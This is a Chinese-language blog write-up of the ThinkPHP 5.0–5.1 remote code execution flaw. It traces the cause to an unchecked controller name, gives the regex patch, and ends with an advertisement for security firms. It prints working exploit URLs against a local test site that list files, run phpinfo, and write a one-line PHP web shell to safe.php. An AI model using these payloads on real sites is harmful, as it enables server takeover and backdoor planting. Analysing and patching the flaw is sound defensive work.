THINKPHP漏洞修復,官方於近日,對現有的thinkphp5.0到5.1全部版本進行了升級,以及補丁更新,此次更新主要是進行了一些漏洞修復,最嚴重的就是以前存在的SQL注入漏洞,以及遠程代碼執行查詢系統的漏洞都進行了修復,官方本覺得沒有問題了,可是在實際的安全檢測當中發現,仍是存在問題,仍是能夠遠程代碼進行注入,插入非法字符,提交到服務器後端中去。php
關於此次發現的oday漏洞,咱們來看下官方以前更新的代碼文件是怎麼樣的,更新的程序文件路徑是library文件夾下的think目錄裏的app.php,以下圖:mysql
漏洞產生的緣由就在於這個控制器這裏,整個thinkphp框架裏的功能對控制器沒有進行嚴格的安全過濾於檢查,使攻擊者能夠僞造惡意參數進行強制插入,最根本的緣由就是正則的表達式寫的很差,致使能夠繞過。sql
在controller獲取控制器後,直接進行賦值,可是並無對控制器的名進行嚴格的檢測,致使可使用斜槓等特殊符號來遠程代碼注入。thinkphp
咱們來搭建一下網站的環境,apache+mysql+Linux centos系統,搭建好的測試環境地址是http://127.0.01/anquan ,咱們能夠直接在index.php後面僞造攻擊參數,示例以下:shell
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-lapache
直接get方式提交到網站中去,能夠直接查詢到網站當前根目錄的全部文件,截圖以下:後端
經過該漏洞也能夠直接遠程代碼注入執行phpinfo語句,查詢當前的php版本,路徑,擴展,以及php.ini存放的地址,均可以看獲得,構造以下代碼便可。centos
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'php框架
有些人可能會問了,既然均可以phpinfo,查詢目錄文件,可不能夠getshell寫網站木馬文件到網站裏呢? 答案是能夠的,咱們測試的時候是以一句話木馬代碼的寫入到safe.php文件裏。安全
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php
關於此次thinkphp的漏洞利用以及分析到此就結束了,該漏洞屬於高危漏洞,危害嚴重性較大,不少升級更新補丁的網站都會受到攻擊,甚至有些網站會被掛馬,那麼該如何修復thinkphp的漏洞呢?替換以前的正規則表達式便可,還須要對網站的目錄進行權限部署,防止生成php文件,對網站上的漏洞進行修復,或者是對網站安全防禦參數進行從新設置,使他符合當時的網站環境。若是不懂如何修復網站漏洞,也能夠找專業的網站安全公司來處理,國內如Sinesafe和綠盟、啓明星辰等安全公司比較專業.
針對於這個狀況,咱們要對其library/think/App.php代碼裏的正規則表達式進行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }